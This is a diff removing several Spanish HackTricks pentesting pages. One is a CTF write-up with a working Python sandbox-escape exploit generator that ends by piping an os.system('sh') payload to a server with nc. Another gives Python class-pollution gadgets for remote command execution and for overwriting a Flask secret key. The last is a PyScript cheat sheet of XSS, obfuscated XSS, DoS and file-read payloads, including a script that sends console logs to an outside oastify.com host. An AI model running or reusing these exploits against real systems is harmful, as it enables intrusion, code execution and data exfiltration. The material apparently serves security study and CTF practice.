Podemos usar la función de lectura OOB en la operación LOAD\_NAME / LOAD\_CONST para obtener algún símbolo en la memoria. Lo que significa usar trucos como `(a, b, c, ... cientos de símbolos ..., __getattribute__) if [] else [].__getattribute__(...)` para obtener un símbolo (como el nombre de una función) que deseas.
|
||||
|
||||
Luego, solo tienes que crear tu exploit.
|
||||
|
||||
### Descripción general <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
El código fuente es bastante corto, ¡solo contiene 4 líneas!
|
||||
```python
|
||||
source = input('>>> ')
|
||||
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
||||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Puedes ingresar código Python arbitrario y se compilará en un [objeto de código Python](https://docs.python.org/3/c-api/code.html). Sin embargo, `co_consts` y `co_names` de ese objeto de código serán reemplazados por una tupla vacía antes de evaluar ese objeto de código.
|
||||
|
||||
De esta manera, todas las expresiones que contengan constantes (por ejemplo, números, cadenas, etc.) o nombres (por ejemplo, variables, funciones) podrían causar una falla de segmentación al final.
|
||||
|
||||
### Lectura fuera de límites <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
¿Cómo ocurre la falla de segmentación?
|
||||
|
||||
Comencemos con un ejemplo simple, `[a, b, c]` podría compilarse en el siguiente bytecode.
|
||||
```
|
||||
1 0 LOAD_NAME 0 (a)
|
||||
2 LOAD_NAME 1 (b)
|
||||
4 LOAD_NAME 2 (c)
|
||||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
Pero, ¿qué sucede si `co_names` se convierte en una tupla vacía? El opcode `LOAD_NAME 2` aún se ejecuta e intenta leer el valor de esa dirección de memoria donde debería estar originalmente. Sí, esto es una "característica" de lectura fuera de límites.
|
||||
|
||||
El concepto principal de la solución es simple. Algunos opcodes en CPython, como `LOAD_NAME` y `LOAD_CONST`, son vulnerables (?) a la lectura fuera de límites.
|
||||
|
||||
Recuperan un objeto del índice `oparg` de la tupla `consts` o `names` (eso es lo que se llama `co_consts` y `co_names` en el fondo). Podemos referirnos al siguiente fragmento corto sobre `LOAD_CONST` para ver lo que hace CPython cuando procesa el opcode `LOAD_CONST`.
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
PyObject *value = GETITEM(consts, oparg);
|
||||
Py_INCREF(value);
|
||||
PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
De esta manera podemos usar la función OOB para obtener un "nombre" desde una dirección de memoria arbitraria. Para asegurarnos de qué nombre tiene y cuál es su dirección, simplemente seguimos intentando `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Y podríamos encontrar algo en oparg > 700. También podemos intentar usar gdb para echar un vistazo a la disposición de la memoria, pero ¿no crees que sería más fácil de esta manera?
|
||||
|
||||
### Generando el Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Una vez que obtenemos esas direcciones útiles para nombres/constantes, ¿cómo obtenemos un nombre/constante de esa dirección y lo usamos? Aquí hay un truco para ti:\
|
||||
Supongamos que podemos obtener un nombre `__getattribute__` desde la dirección 5 (`LOAD_NAME 5`) con `co_names=()`, entonces simplemente hacemos lo siguiente:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Ten en cuenta que no es necesario nombrarlo como `__getattribute__`, puedes nombrarlo de forma más corta o extraña. Puedes entender la razón simplemente viendo su bytecode:
|
||||
```python
|
||||
0 BUILD_LIST 0
|
||||
2 POP_JUMP_IF_FALSE 20
|
||||
>> 4 LOAD_NAME 0 (a)
|
||||
>> 6 LOAD_NAME 1 (b)
|
||||
>> 8 LOAD_NAME 2 (c)
|
||||
>> 10 LOAD_NAME 3 (d)
|
||||
>> 12 LOAD_NAME 4 (e)
|
||||
>> 14 LOAD_NAME 5 (__getattribute__)
|
||||
16 BUILD_LIST 6
|
||||
18 RETURN_VALUE
|
||||
20 BUILD_LIST 0
|
||||
>> 22 LOAD_ATTR 5 (__getattribute__)
|
||||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
Observa que `LOAD_ATTR` también recupera el nombre de `co_names`. Python carga los nombres desde el mismo desplazamiento si el nombre es el mismo, por lo que el segundo `__getattribute__` todavía se carga desde el desplazamiento = 5. Usando esta característica podemos usar nombres arbitrarios una vez que el nombre está en la memoria cercana.
|
||||
|
||||
Para generar números debería ser trivial:
|
||||
|
||||
* 0: not \[\[]]
|
||||
* 1: not \[]
|
||||
* 2: (not \[]) + (not \[])
|
||||
* ...
|
||||
|
||||
### Script de explotación <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
|
||||
No utilicé constantes debido al límite de longitud.
|
||||
|
||||
Primero, aquí hay un script para encontrar esos desplazamientos de nombres.
|
||||
```python
|
||||
from types import CodeType
|
||||
from opcode import opmap
|
||||
from sys import argv
|
||||
|
||||
|
||||
class MockBuiltins(dict):
|
||||
def __getitem__(self, k):
|
||||
if type(k) == str:
|
||||
return k
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
n = int(argv[1])
|
||||
|
||||
code = [
|
||||
*([opmap['EXTENDED_ARG'], n // 256]
|
||||
if n // 256 != 0 else []),
|
||||
opmap['LOAD_NAME'], n % 256,
|
||||
opmap['RETURN_VALUE'], 0
|
||||
]
|
||||
|
||||
c = CodeType(
|
||||
0, 0, 0, 0, 0, 0,
|
||||
bytes(code),
|
||||
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
|
||||
)
|
||||
|
||||
ret = eval(c, {'__builtins__': MockBuiltins()})
|
||||
if ret:
|
||||
print(f'{n}: {ret}')
|
||||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
Y lo siguiente es para generar el exploit real de Python.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
|
||||
|
||||
class Generator:
|
||||
# get numner
|
||||
def __call__(self, num):
|
||||
if num == 0:
|
||||
return '(not[[]])'
|
||||
return '(' + ('(not[])+' * num)[:-1] + ')'
|
||||
|
||||
# get string
|
||||
def __getattribute__(self, name):
|
||||
try:
|
||||
offset = None.__dir__().index(name)
|
||||
return f'keys[{self(offset)}]'
|
||||
except ValueError:
|
||||
offset = None.__class__.__dir__(None.__class__).index(name)
|
||||
return f'keys2[{self(offset)}]'
|
||||
|
||||
|
||||
_ = Generator()
|
||||
|
||||
names = []
|
||||
chr_code = 0
|
||||
for x in range(4700):
|
||||
while True:
|
||||
chr_code += 1
|
||||
char = unicodedata.normalize('NFKC', chr(chr_code))
|
||||
if char.isidentifier() and char not in names:
|
||||
names.append(char)
|
||||
break
|
||||
|
||||
offsets = {
|
||||
"__delitem__": 2800,
|
||||
"__getattribute__": 2850,
|
||||
'__dir__': 4693,
|
||||
'__repr__': 2128,
|
||||
}
|
||||
|
||||
variables = ('keys', 'keys2', 'None_', 'NoneType',
|
||||
'm_repr', 'globals', 'builtins',)
|
||||
|
||||
for name, offset in offsets.items():
|
||||
names[offset] = name
|
||||
|
||||
for i, var in enumerate(variables):
|
||||
assert var not in offsets
|
||||
names[792 + i] = var
|
||||
|
||||
|
||||
source = f'''[
|
||||
({",".join(names)}) if [] else [],
|
||||
None_ := [[]].__delitem__({_(0)}),
|
||||
keys := None_.__dir__(),
|
||||
NoneType := None_.__getattribute__({_.__class__}),
|
||||
keys2 := NoneType.__dir__(NoneType),
|
||||
get := NoneType.__getattribute__,
|
||||
m_repr := get(
|
||||
get(get([],{_.__class__}),{_.__base__}),
|
||||
{_.__subclasses__}
|
||||
)()[-{_(2)}].__repr__,
|
||||
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
|
||||
builtins := globals[[*globals][{_(7)}]],
|
||||
builtins[[*builtins][{_(19)}]](
|
||||
builtins[[*builtins][{_(28)}]](), builtins
|
||||
)
|
||||
]'''.strip().replace('\n', '').replace(' ', '')
|
||||
|
||||
print(f"{len(source) = }", file=sys.stderr)
|
||||
print(source)
|
||||
|
||||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||
```
|
||||
Básicamente, hace lo siguiente para las cadenas que obtenemos del método `__dir__`:
|
||||
```python
|
||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||
builtins = getattr(
|
||||
getattr(
|
||||
getattr(
|
||||
[].__getattribute__('__class__'),
|
||||
'__base__'),
|
||||
'__subclasses__'
|
||||
)()[-2],
|
||||
'__repr__').__getattribute__('__globals__')['builtins']
|
||||
builtins['eval'](builtins['input']())
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
File diff suppressed because one or more lines are too long
@ -1,276 +0,0 @@
|
||||
# Contaminación de Clases (Prototype Pollution de Python)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Ejemplo Básico
|
||||
|
||||
Comprueba cómo es posible contaminar las clases de objetos con cadenas:
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
class Entity(Developer): pass
|
||||
|
||||
c = Company()
|
||||
d = Developer()
|
||||
e = Entity()
|
||||
|
||||
print(c) #<__main__.Company object at 0x1043a72b0>
|
||||
print(d) #<__main__.Developer object at 0x1041d2b80>
|
||||
print(e) #<__main__.Entity object at 0x1041d2730>
|
||||
|
||||
e.__class__.__qualname__ = 'Polluted_Entity'
|
||||
|
||||
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
|
||||
|
||||
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
|
||||
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
||||
|
||||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
## Ejemplo Básico de Vulnerabilidad
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
emp = Employee()
|
||||
print(vars(emp)) #{}
|
||||
|
||||
# Vulenrable function
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
|
||||
USER_INPUT = {
|
||||
"name":"Ahemd",
|
||||
"age": 23,
|
||||
"manager":{
|
||||
"name":"Sarah"
|
||||
}
|
||||
}
|
||||
|
||||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
```
|
||||
## Ejemplos de Gadget
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Creando un valor predeterminado de propiedad de clase para RCE (subproceso)</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
class HR(Employee): pass # Class inherits from Employee class
|
||||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
recruiter_emp = Recruiter()
|
||||
system_admin_emp = SystemAdmin()
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
# Create default value for Employee.custom_command
|
||||
merge(USER_INPUT, recruiter_emp)
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Contaminando otras clases y variables globales a través de <code>globals</code></summary>
|
||||
|
||||
</details>
|
||||
```python
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class User:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
class NotAccessibleClass: pass
|
||||
|
||||
not_accessible_variable = 'Hello'
|
||||
|
||||
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
|
||||
|
||||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ejecución arbitraria de subprocesos</summary>
|
||||
|
||||
</details>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
|
||||
merge(USER_INPUT, Employee())
|
||||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sobrescribiendo <strong><code>__kwdefaults__</code></strong></summary>
|
||||
|
||||
**`__kwdefaults__`** es un atributo especial de todas las funciones, según la [documentación](https://docs.python.org/3/library/inspect.html) de Python, es un "mapeo de cualquier valor predeterminado para parámetros **sólo de palabras clave**". La contaminación de este atributo nos permite controlar los valores predeterminados de los parámetros sólo de palabras clave de una función, estos son los parámetros de la función que vienen después de \* o \*args.
|
||||
```python
|
||||
from os import system
|
||||
import json
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def execute(*, command='whoami'):
|
||||
print(f'Executing {command}')
|
||||
system(command)
|
||||
|
||||
print(execute.__kwdefaults__) #> {'command': 'whoami'}
|
||||
execute() #> Executing whoami
|
||||
#> user
|
||||
|
||||
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
|
||||
merge(emp_info, Employee())
|
||||
|
||||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sobrescribiendo la clave secreta de Flask en diferentes archivos</summary>
|
||||
|
||||
Entonces, si se puede hacer una contaminación de clase sobre un objeto definido en el archivo principal de Python de la web, pero **cuya clase está definida en un archivo diferente** al principal. Debido a que para acceder a \_\_globals\_\_ en los payloads anteriores, es necesario acceder a la clase del objeto o a los métodos de la clase, se podrá **acceder a los globales en ese archivo, pero no en el principal**. \
|
||||
Por lo tanto, **no se podrá acceder al objeto global de la aplicación Flask** que definió la **clave secreta** en la página principal:
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
En este escenario necesitas un gadget para recorrer archivos y llegar al archivo principal para **acceder al objeto global `app.secret_key`** y cambiar la clave secreta de Flask para poder [**escalar privilegios** sabiendo esta clave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
Un payload como este [de este writeup](https://ctftime.org/writeup/36082):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Utilice este payload para **cambiar `app.secret_key`** (el nombre en su aplicación puede ser diferente) para poder firmar cookies de flask con nuevos y más privilegios.
|
||||
|
||||
</details>
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
@ -1,109 +0,0 @@
|
||||
## Guía de Pentesting de PyScript
|
||||
|
||||
PyScript es un nuevo marco de trabajo desarrollado para integrar Python en HTML, por lo que se puede utilizar junto con HTML. En esta hoja de trucos, encontrará cómo utilizar PyScript para sus fines de prueba de penetración.
|
||||
|
||||
### Volcado / Recuperación de archivos del sistema de archivos de memoria virtual de Emscripten:
|
||||
|
||||
`ID de CVE: CVE-2022-30286`\
|
||||
\
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
|
||||
out = fin.read()
|
||||
print(out)
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)
|
||||
|
||||
### [Exfiltración de datos OOB del sistema de archivos de memoria virtual Emscripten (monitoreo de consola)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
|
||||
|
||||
`ID de CVE: CVE-2022-30286`\
|
||||
\
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
x = "CyberGuy"
|
||||
if x == "CyberGuy":
|
||||
with open('/lib/python3.10/asyncio/tasks.py') as output:
|
||||
contents = output.read()
|
||||
print(contents)
|
||||
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)
|
||||
|
||||
### Cross Site Scripting (Ordinario)
|
||||
|
||||
Código:
|
||||
```python
|
||||
<py-script>
|
||||
print("<img src=x onerror='alert(document.domain)'>")
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)
|
||||
|
||||
### Cross Site Scripting (Python Ofuscado)
|
||||
|
||||
Código:
|
||||
```python
|
||||
<py-script>
|
||||
sur = "\u0027al";fur = "e";rt = "rt"
|
||||
p = "\x22x$$\x22\x29\u0027\x3E"
|
||||
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
|
||||
e = "c\u003d";q = "x"
|
||||
y = "o";m = "ner";z = "ror\u003d"
|
||||
|
||||
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)
|
||||
|
||||
### Cross Site Scripting (Ofuscación de JavaScript)
|
||||
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)
|
||||
|
||||
### Ataque DoS (Bucle infinito)
|
||||
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
while True:
|
||||
print(" ")
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
@ -1,136 +0,0 @@
|
